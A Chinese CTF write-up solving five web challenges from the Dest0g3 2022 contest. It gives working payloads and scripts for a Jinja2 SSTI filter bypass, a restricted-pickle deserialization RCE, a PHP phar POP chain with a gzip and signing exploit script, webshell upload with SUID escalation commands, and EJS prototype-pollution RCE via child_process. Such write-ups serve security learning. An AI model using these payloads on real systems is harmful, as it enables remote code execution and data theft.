2022Dest0g3 520迎新赛web复现【EasySSTI-NodeSoEasy】
EasySSTI
打开题目环境,发现登陆框,尝试输入登陆,发现登陆成功,且输入的用户名显示在网页,尝试SSTI注入,发现测试成功。
写脚本尝试注入,发现'被ban,发现set并没有被waf,尝试利用set进行构造。
SSTI的绕过可以参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用以及官方文档
最后的脚本为
import requests
url="http://6037b12e-d2ae-4c82-9843-e5718ef5c6c2.node4.buuoj.cn:81/login"
payload="{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set three = (zero-one-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set nine = (zero-seven-one-one)|abs %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set space = bfhc%((three~two)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}"
#"{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set three = (zero-one-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set nine = (zero-seven-one-one)|abs %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set space = bfhc%((three~two)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}"
#{% set zero = (self|int) %}
#{% set one = (zero**zero)|int %}
#{% set two = (zero-one-one)|abs %}
#{% set three = (zero-one-one-one)|abs %}
#{% set four = (two*two)|int %}
#{% set five = (two*two*two)-one-one-one %}
#{% set seven = (zero-one-one-five)|abs %}
#{% set nine = (zero-seven-one-one)|abs %}
#{% set point = self|float|string|min %}
#{% set c = dict(c=aa)|reverse|first %}
#{% set bfh = self|string|urlencode|first %}
#{% set bfhc=bfh~c %}
#{% set slas = bfhc%((four~seven)|int) %}
#{% set yin = bfhc%((three~nine)|int) %}
#{% set xhx = bfhc%((nine~five)|int) %}
#{% set right = bfhc%((four~one)|int) %}
#{% set left = bfhc%((four~zero)|int) %}
#{% set space = bfhc%((three~two)|int) %}
#{% set but = dict(buil=aa,tins=dd)|join %}
#{% set imp = dict(imp=aa,ort=dd)|join %}
#{% set pon = dict(po=aa,pen=dd)|join %}
#{% set so = dict(o=aa,s=dd)|join %}
#{% set ca = dict(ca=aa,t=dd)|join %}
#{% set flg = dict(fl=aa,ag=dd)|join %}
#{% set ev = dict(ev=aa,al=dd)|join %}
#{% set red = dict(re=aa,ad=dd)|join %}
#{% set bul = xhx~xhx~but~xhx~xhx %}
#{% set ini = dict(ini=aa,t=bb)|join %}
#{% set glo = dict(glo=aa,bals=bb)|join %}
#{% set itm = dict(ite=aa,ms=bb)|join %}
#{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
#{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
payload=payload.replace(' ', '\n')
data={"username":payload,"password":"123456"}
r=requests.post(url=url, data=data)
print(r.text)
得到flag:Dest0g3{03923b77-b3af-4b62-8612-e12720e02cc2}
middle
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
注意到pickle,猜测是pickle反序列化
相关知识点可参考pickle反序列化初探
这里首先可以看到,它利用了Python官方手册中给的方式对反序列化的内容进行了一个过滤
限定了只能反序列化config
类,而且调用的方法或属性中不能含有__
。
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
后面部分的具体原理没有搞太懂,等完了填坑吧。
直接用WP里的payload,利用pker生成opcode代码
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return
运行得到输出
b"cconfig\nbackdoor\np0\n0g0\n((S'__import__(\\'os\\').popen(\\'cat /flag.txt\\').read()'\nltR."
base64加密得到
Y2NvbmZpZwpiYWNrZG9vcgpwMAowZzAKKChTJ19faW1wb3J0X18oXCdvc1wnKS5wb3BlbihcJ2NhdCAvZmxhZy50eHRcJykucmVhZCgpJwpsdFIu
post到data参数中,可以得到flag:Dest0g3{458615a7-6c74-4dba-8fe2-71168840caf2}
PharPOP
<?php
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
#__set():方法的作用是为私有成员属性设置值,这个方法同样不用手动调用,是在设置私有属性值得时候自动调用的
#__destruct():在到某个对象的所有引⽤都被删除或者当对象被显式销毁时执⾏
#__call():着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。
#__get():当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
注意到对传入数据进行waf,可以利用gzip压缩phar绕过waf函数过滤。
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
最终的pop链为tree:__destruct -> tree:__call -> apple:__get -> air:__set,将链子初步写好。
链子末端是个new一个类,打原生类就行,用glob伪协议配合FilesystemIterator类读flag文件名,然后SplFileObject类读文件。
<?php
class air{
public $p;
}
class tree{
public $name;
public $act;
}
class apple {
public $xxx;
public $flag;
}
#tree:__destruct -> tree:__call -> apple:__get -> air:__set -> tree:act
$tree1=new tree();
$tree2=new tree();
$apple=new apple();
$air=new air();
$tree2->act='SplFileObject';
$air->p=$tree2;
$apple->xxx=$air;
$tree->name=$apple;
echo serialize($tree1);
?>
然后是生成phar文件,是一个相对固定的内容,有板子
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
生成phar用的最终exp
<?php
class air{
public $p;
}
class tree{
public $name;
public $act;
}
class apple {
public $xxx;
public $flag;
}
#tree:__destruct -> tree:__call -> apple:__get -> air:__set -> tree:act
$tree1=new tree();
$tree2=new tree();
$apple=new apple();
$air=new air();
$tree2->act='SplFileObject';
$air->p=$tree2;
$apple->xxx=$air;
$tree->name=$apple;
echo serialize($tree1);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($tree); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
?>
注意想要生成phar文件,一定要先在php.ini中将phar.readonly改为off,同时还要去掉前面的;(没去分号卡住好长时间)
然后是想办法利用PHP的GC机制绕过throw new Error("start");
触发最开始的__destruct。将phar最后的}去掉来进行绕过。
传值以及生成的phar文件都需要改。
origin:
1:
O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:18:"FilesystemIterator";}}s:4:"flag";s:11:"glob:///*f*";}s:3:"act";N;}
2:
O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:8:"/fflaggg";}s:3:"act";N;}
change:
1:
a:2:{i:0;O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:18:"FilesystemIterator";}}s:4:"flag";s:11:"glob:///*f*";}s:3:"act";N;}i:0;i:0;}
2:
a:2:{i:0;O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:8:"/fflaggg";}s:3:"act";N;}i:0;i:0;}
控制r和w的post值
O:1:"D":1:{s:5:"start";s:1:"w";}
O:1:"D":1:{s:5:"start";s:1:"r";}
a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}
a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;}
我们需要先写入再读取。
写个exp
import requests
import gzip
from hashlib import sha1
url='http://130f177f-0ef5-4dfa-a37e-4e739a0f62e2.node4.buuoj.cn:81/'
def sign(name):
f = open(name, 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('signed.phar', 'wb').write(newf) # 写入新文件
def compress(name):
with open(name,'rb') as f1:
content = f1.read()
f = gzip.open('signed.phar.gz', 'wb')
f.write(content)
f.close()
def write(name):
#O:1:"D":1:{s:5:"start";s:1:"w";}
r=requests.post(url,data={'0': open(name, 'rb').read(),'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}'})
print(r.text)
def read(name):
#O:1:"D":1:{s:5:"start";s:1:"r";}
r=requests.post(url,data={'0':'phar://'+name,'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;}'})
print(r.text)
def make():
sign('phar2.phar')
compress('signed.phar')
write('signed.phar.gz')
#make()
#/tmp/ed6c14fc4040cead84ef452e38733fde.jpg
#fflaggg
#/tmp/be6b937efc31e88f2f1aec546bf42636.jpg
#Dest0g3{a9e928e2-77ec-42b4-9028-6d2653885a19}
read('/tmp/be6b937efc31e88f2f1aec546bf42636.jpg')
得到flag:Dest0g3{a9e928e2-77ec-42b4-9028-6d2653885a19}
ezip
提示查看图片,查看图片源代码,发现
Oh you find key:dXBsb2FkLnBocDoKPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwppbmNsdWRlKCJ6aXAucGhwIik7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICBpZihzdHJzdHIoJF9GSUxFU1snZmlsZSddWyduYW1lJ10sIi4uIil8fHN0cnN0cigkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSwiLyIpKXsKICAgICAgICBlY2hvICJoYWNrZXIhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKHBhdGhpbmZvKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLCBQQVRISU5GT19FWFRFTlNJT04pIT0iemlwIil7CiAgICAgICAgZWNobyAib25seSB6aXAhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgICRNeXppcCA9IG5ldyB6aXAoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgbWtkaXIoJE15emlwLT5wYXRoKTsKICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICcuLycuJE15emlwLT5wYXRoLicvJyAuICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKICAgIGVjaG8gIlRyeSB0byB1bnppcCB5b3VyIHppcCB0byAvIi4kTXl6aXAtPnBhdGguIjxicj4iOwogICAgaWYoJE15emlwLT51bnppcCgpKXtlY2hvICJTdWNjZXNzIjt9ZWxzZXtlY2hvICJmYWlsZWQiO30KfQoKemlwLnBocDoKPD9waHAKY2xhc3MgemlwCnsKICAgIHB1YmxpYyAkemlwX25hbWU7CiAgICBwdWJsaWMgJHBhdGg7CiAgICBwdWJsaWMgJHppcF9tYW5hZ2VyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkemlwX25hbWUpewogICAgICAgICR0aGlzLT56aXBfbWFuYWdlciA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgJHRoaXMtPnBhdGggPSAkdGhpcy0+Z2VuX3BhdGgoKTsKICAgICAgICAkdGhpcy0+emlwX25hbWUgPSAkemlwX25hbWU7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gZ2VuX3BhdGgoKXsKICAgICAgICAkY2hhcnM9ImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5IjsKICAgICAgICAkbmV3Y2hhcnM9c3RyX3NwbGl0KCRjaGFycyk7CiAgICAgICAgc2h1ZmZsZSgkbmV3Y2hhcnMpOwogICAgICAgICRjaGFyc19rZXk9YXJyYXlfcmFuZCgkbmV3Y2hhcnMsMTUpOwogICAgICAgICRmbnN0ciA9ICIiOwogICAgICAgIGZvcigkaT0wOyRpPDE1OyRpKyspewogICAgICAgICAgICAkZm5zdHIuPSRuZXdjaGFyc1skY2hhcnNfa2V5WyRpXV07CiAgICAgICAgfQogICAgICAgIHJldHVybiBtZDUoJGZuc3RyLnRpbWUoKS5taWNyb3RpbWUoKSoxMDAwMDApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBkZWxkaXIoJGRpcikgewogICAgICAgIC8v5YWI5Yig6Zmk55uu5b2V5LiL55qE5paH5Lu277yaCiAgICAgICAgJGRoID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKICAgICAgICAgICAgaWYoJGZpbGUgIT0gIi4iICYmICRmaWxlIT0iLi4iKSB7CiAgICAgICAgICAgICAgICAkZnVsbHBhdGggPSAkZGlyLiIvIi4kZmlsZTsKICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJGZ1bGxwYXRoKSkgewogICAgICAgICAgICAgICAgICAgIHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZGVsZGlyKCRmdWxscGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgIH0KICAgIGZ1bmN0aW9uIGRpcl9saXN0KCRkaXJlY3RvcnkpCiAgICB7CiAgICAgICAgJGFycmF5ID0gW107CgogICAgICAgICRkaXIgPSBkaXIoJGRpcmVjdG9yeSk7CiAgICAgICAgd2hpbGUgKCRmaWxlID0gJGRpci0+cmVhZCgpKSB7CiAgICAgICAgICAgIGlmICgkZmlsZSAhPT0gJy4nICYmICRmaWxlICE9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAkYXJyYXlbXSA9ICRmaWxlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYXJyYXk7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoKQogICAgewogICAgICAgICRmdWxscGF0aCA9ICIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiR0aGlzLT56aXBfbmFtZTsKICAgICAgICAkd2hpdGVfbGlzdCA9IFsnanBnJywncG5nJywnZ2lmJywnYm1wJ107CiAgICAgICAgJHRoaXMtPnppcF9tYW5hZ2VyLT5vcGVuKCRmdWxscGF0aCk7CiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkdGhpcy0+emlwX21hbmFnZXItPmNvdW50KCk7JGkgKyspIHsKICAgICAgICAgICAgaWYgKHN0cnN0cigkdGhpcy0+emlwX21hbmFnZXItPmdldE5hbWVJbmRleCgkaSksIi4uLyIpKXsKICAgICAgICAgICAgICAgIGVjaG8gInlvdSBiYWQgYmFkIjsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZighJHRoaXMtPnppcF9tYW5hZ2VyLT5leHRyYWN0VG8oJHRoaXMtPnBhdGgpKXsKICAgICAgICAgICAgZWNobyAiVW56aXAgdG8gLyIuJHRoaXMtPnBhdGguIi8gZmFpbGVkIjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgQHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICRmaWxlX2xpc3QgPSAkdGhpcy0+ZGlyX2xpc3QoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIpOwogICAgICAgIGZvcigkaT0wOyRpPHNpemVvZigkZmlsZV9saXN0KTskaSsrKXsKICAgICAgICAgICAgaWYoaXNfZGlyKCR0aGlzLT5wYXRoLiIvIi4kZmlsZV9saXN0WyRpXSkpewogICAgICAgICAgICAgICAgZWNobyAiZGlyPyBJIGRlbGV0ZWQgYWxsIHRoaW5ncyBpbiBpdCIuIjxicj4iO0AkdGhpcy0+ZGVsZGlyKCIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiRmaWxlX2xpc3RbJGldKTtAcm1kaXIoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICBpZighaW5fYXJyYXkocGF0aGluZm8oJGZpbGVfbGlzdFskaV0sIFBBVEhJTkZPX0VYVEVOU0lPTiksJHdoaXRlX2xpc3QpKSB7ZWNobyAib25seSBpbWFnZSEhISBJIGRlbGV0ZWQgaXQgZm9yIHlvdSIuIjxicj4iO0B1bmxpbmsoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pO30KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKCiAgICB9CgoKfQo=
base64解码得到
upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."<br>";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
大致审计之后,发现可以用p神之前发的漏洞,将压缩包中的文件名中加入/可以使压缩包
上传更改的压缩包,发现失败。
用蚁剑连接,找到flag,点进去却没有flag,考虑是权限问题,尝试用suid提权。
发现nl可用,用nl读取flag
这部分参考https://blog.csdn.net/weixin_43610673/article/details/125038199
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
得到flag:Dest0g3{f5bdea16-8395-434d-8df9-781c2e983b15}
NodeSoEasy
下载附件得到源码。
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
const port = 5000
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs');
const merge= (target, source) => {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app.post('/', function (req, res) {
var target = {}
var source = JSON.parse(JSON.stringify(req.body))
merge(target, source)
res.render('index');
})
app.listen(port, () => {
console.log(`listening on port ${port}`)
})
看出是ejs rce。
先看原链型污染的内容深入理解 JavaScript Prototype 污染攻击。
node.js原型链污染漏洞
一些RCE的payload关于nodejs的ejs和jade模板引擎的原型链污染挖掘
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
POST传值,注意要加一行Content-type:application/json。
得到flag:Dest0g3{a6082f01-c7e2-4ecc-a105-c06c5d5ef899}